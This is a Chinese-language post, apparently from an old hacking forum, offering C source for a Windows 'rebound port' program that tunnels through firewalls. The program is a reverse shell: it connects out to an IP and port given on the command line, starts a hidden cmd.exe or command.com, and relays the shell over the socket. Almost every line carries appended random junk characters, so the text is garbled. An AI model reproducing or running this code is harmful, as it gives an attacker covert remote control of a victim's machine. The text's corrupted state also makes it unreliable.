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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PE|_V  
Obrv5 %'  
/* ============================== d5\w'@Di  
Rebound port in Windows NT W'-B)li   
By wind,2006/7 X&TTw/J!^  
===============================*/ 7\rz*  
#include #<S+E7uTs  
#include bf-.SX~  
x;99[C!$  
#pragma comment(lib,"wsock32.lib") hoD (G X  
:xm, Ok  
void OutputShell(); w{UVo1r:  
SOCKET sClient; ~M3`mO+^U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0[7\p\Q  
{l%Of  
void main(int argc,char **argv) kTT!gZP$  
{ i!LEA/"V  
WSADATA stWsaData; S2kFdx*Zf  
int nRet; =[FNZ:3  
SOCKADDR_IN stSaiClient,stSaiServer; 200/  
kKr7c4q  
if(argc != 3) y>3Zh5=  
{ 3u^U\xB  
printf("Useage:\n\rRebound DestIP DestPort\n"); yJ c#y   
return; 5(^&0c>P  
} b<P9@h~:  
Q.>@w<[!L  
WSAStartup(MAKEWORD(2,2),&stWsaData); <[@AMdS  
)/1AF^ E  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (y[+s?;WyB  
xqs{d&W  
stSaiClient.sin_family = AF_INET;  ztKmB  
stSaiClient.sin_port = htons(0); |77.Lqqy,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fr#Y<=Jo  
"G].hKgbk*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )pJ} $[6  
{ / Of*II&  
printf("Bind Socket Failed!\n"); J70#pF  
return; +)h*)  
} s3>,%8O6  
] +<[D2f  
stSaiServer.sin_family = AF_INET; 7IB<0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WUm8 3"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D>|m8-@]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q0K2md_%x  
{ 7xTgG!>v  
printf("Connect Error!"); \  $;E,  
return; brx 7hI  
} }><Vc ouJ[  
OutputShell(); Uoe;4ni  
} jNhiY  
h.d-a/  
void OutputShell() 47 xyS%X  
{ umhg O.!  
char szBuff[1024]; "SJp9s3  
SECURITY_ATTRIBUTES stSecurityAttributes; [KR|m,QWp  
OSVERSIONINFO stOsversionInfo; FNL[6.!PV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?{[ ISk)  
STARTUPINFO stStartupInfo; {}kE=L5  
char *szShell; tPBr{  
PROCESS_INFORMATION stProcessInformation; 2#1"(m{  
unsigned long lBytesRead; Ri=:=oF(  
b;G3&R]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -c|dTZ8D)8  
AiKja>Fl<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);   V` 7  
stSecurityAttributes.lpSecurityDescriptor = 0; I .jB^  
stSecurityAttributes.bInheritHandle = TRUE; yB0xa%  
3tzb@T  
%Hx8%G!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _uwM%M;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1BK!<}yI{  
h+=xG|1R[5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ecaEWIOG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N3O3V5':!  
stStartupInfo.wShowWindow = SW_HIDE; v|fA)W w  
stStartupInfo.hStdInput = hReadPipe; ;,2i1m0"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O{b<UP'85  
sA$x2[*O  
GetVersionEx(&stOsversionInfo); 6a6;]lsG  
sdN@ZP  
switch(stOsversionInfo.dwPlatformId) cCx@VT`0  
{ ~Cc%!4f'  
case 1: h,%`*Qg6  
szShell = "command.com"; cq:<,Ke  
break; zG-pqE6  
default: fy9mS  
szShell = "cmd.exe"; _ 3@[S F  
break; yvR3|  
} R9XISsM^  
eajctkzj  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -' :;0  
ykK21P,v  
send(sClient,szMsg,77,0); RP[^1  
while(1) >=Bl/0YH  
{ lw+Y_;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ASGV3r (  
if(lBytesRead) {zzc/!|  
{ m8M2ka  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VWhq +8z  
send(sClient,szBuff,lBytesRead,0);  PL"u^G`  
} V /i~IG`h/  
else T:FaD V{  
{ 9dS<^E(ZF  
lBytesRead=recv(sClient,szBuff,1024,0); cdd6*+E  
if(lBytesRead<=0) break; 6sceymq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Rhi`4wo0$  
} ?e=3G4N  
} E~}@56ER}  
+"J2k9E  
return; #h=pU/R  
}
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